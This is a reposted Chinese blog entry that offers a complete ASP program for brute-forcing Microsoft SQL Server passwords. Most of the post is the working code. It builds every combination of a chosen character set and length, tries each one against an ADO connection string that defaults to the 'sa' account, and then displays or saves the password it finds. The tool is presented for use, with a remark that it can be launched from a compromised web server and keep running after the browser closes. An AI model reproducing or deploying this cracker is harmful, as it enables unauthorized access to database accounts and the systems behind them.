首页 | 编程语言 | 网站建设 | 游戏天堂 | 冲浪宝典 | 网络安全 | 操作系统 | 软件时空 | 硬件指南 | 病毒相关 | IT 认证
软讯网络 > 网站建设 > 网页制作 > MSSQLCracker in ASP
【标  题】:MSSQLCracker in ASP
【关键字】:MSSQLCracker,in,ASP
【来  源】:http://blog.csdn.net/lake2/archive/2006/08/10/1045648.aspx

MSSQLCracker in ASP

    一个暴力破解MSSQL用户密码的ASP程序,最早发布在EST论坛。以下这个版本是可以运行之后关闭浏览器,运行完毕将在当前目录生成结果文件的。 用ASP做事情效率很慢,当然这个程序所体现的不是它的效率,而是……给你点悬念,不然多没意思哦。

    自己把以下代码保存为ASP文件。当然我还是一如既往的BS那些只改作者名字的家伙。

<%
'============ ASP Port Scanner by lake2 ===================
'http://lake2.0x54.org
'Version: 0.1
'For SpringBoard
'==========================================================
%>
<style type="text/css">
body,td,th {color: #0000FF;font-family: Verdana, Arial, Helvetica, sans-serif;}
body {background-color: #ffffff;font-size:14px; }
a:link {color: #0000FF;text-decoration: none;}
a:visited {text-decoration: none;color: #0000FF;}
a:hover {text-decoration: none;color: #FF0000;}
a:active {text-decoration: none;color: #FF0000;}
.buttom {color: #FFFFFF; border: 1px solid #084B8E; background-color: #719BC5}
.TextBox {border: 1px solid #084B8E}
.styleRed {color: #FF0000}
</style>
<title>MSSQL Cracker for SpringBoard</title>
<%
Dim Password()
If Request.Form("go") <> "1" Then
%>
 <div align="center">Welcome to <a href="
http://lake2.0x54.org" target="_blank">http://lake2.0x54.org</a> </div>
 <form name="form1" method="post" action="" onSubmit="form1.Submit.disabled=true;">
  ConnStr:
  <input name="conn" type="text" class="TextBox" id="conn" value="Provider=SQLOLEDB.1;Data Source=127.0.0.1;User ID=sa;Password={PASS};" size="70">
  <br>
  Char: &nbsp;&nbsp;&nbsp;&nbsp;
  <input name="char" type="text" class="TextBox" id="char" value="0123456789" size="30">
&nbsp;&nbsp;&nbsp;<br>
Length:&nbsp;&nbsp;
<input name="len" type="text" class="TextBox" id="len" value="3" size="4">
<br>
Path:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
<input name="path" type="text" class="TextBox" value="<%=Server.MapPath("r.txt")%>" size="50">
<input name="CFile" type="checkbox" class="TextBox" id="CFile" value="1" checked>
Enablel<br>
<input name="go" type="hidden" id="go" value="1">
<br>
<input name="Submit" type="submit" class="buttom" id="Submit" value=" Run ">
</form>
<%
Else
 timer1 = timer
 Server.ScriptTimeout = 7776000
 ConnStr = Request.Form("Conn")
 Char = request.Form("char")
 LenChar = Len(Char)
 ReDim password(LenChar)
 For i = 1 to LenChar
  password(i) = Mid(Char, i, 1)
 Next
 length = CInt(request.Form("len"))
 Call LAKE("")
 response.Write "Done!<br>Process " & tTime & " s"
 If request.Form("CFile") <> "" Then CreateResult("Done!" & vbcrlf & tTime)
End If

Sub LAKE(str)
 If Len(str) >= length Then Exit Sub
 For j = 1 to LenChar
  pass = str & password(j)
  If Len(pass) = length Then Call Crack(pass)
  Call LAKE(pass)
 Next
End Sub

Sub Crack(str)
 On Error Resume Next
 Set conn = Server.CreateObject("ADODB.connection")
 conn.open Replace(ConnStr,"{PASS}",str)
 If Err Then
  If Err.Number <> -2147217843 Then
   response.Write(Err.Description & "<BR>")
   response.End()
  End If
 Else
  response.Write("I Get it ! Password is <font color=red>" & str & "</font><BR>Process " & tTime & " s")
  If request.Form("CFile") <> "" Then CreateResult(str & vbcrlf & tTime)
  response.End()
 End If
End Sub

Function tTime()
 timer2 = timer
 thetime=cstr(int(timer2-timer1))
 tTime = thetime
End Function

Sub CreateResult(t)
 Set fs = CreateObject("Scripting.FileSystemObject")
 Set outfile = fs.CreateTextFile(request.Form("path"))
 outfile.WriteLine t
 Set fs = Nothing
End Sub
%>

window.open()弹出居中的窗口:【上一篇】
公司封了MSN怎么办(Web版MSN解决方案):【下一篇】
【相关文章】
  • window.open()弹出居中的窗口
  • Could not find the main class. Program will exit
  • Asp.Net常用函数
  • jasperreport和ireport应用
  • log4j和common-logging结合使用
  • Memory space manipulating in Java(Section two:Process Memory Model on AIX part three-The Large & Ver...
  • Spring2.0中新的Bean类型实现原理
  • 关于spring启动的优化的问题
  • Lucene in Action (中文)
  • CTDP linux 程序员手册 C和C++编程(10)Linux mutex互斥和条件变量
  • 【随机文章】
  • 国外同行关注啥——digg.com网站Programming分类每周热点[12/03 - 12/09]
  • 分页的重要思想
  • 真正的初学者常用命令
  • 安装VS和.net心得
  • ASA SQL 参考
  • 莫明其妙的网卡冲突
  • 转载-----RFC中文翻译 RFC1--RFC3093(不错的东东)六
  • 存取控制符
  • 配置PPPOE路由功能,ADSL简单共享
  • Firefox浏览器使用方法问答(下)
  • 【相关评论】
    没有相关评论
    【发表评论】
    姓名:
    邮件:
    随机码*
    评论*
          
    |  首 页  |  版权声明  |  联系我们   |  网站地图  |
    CopyRight © 2004-2007 软讯网络 All Rigths Reserved.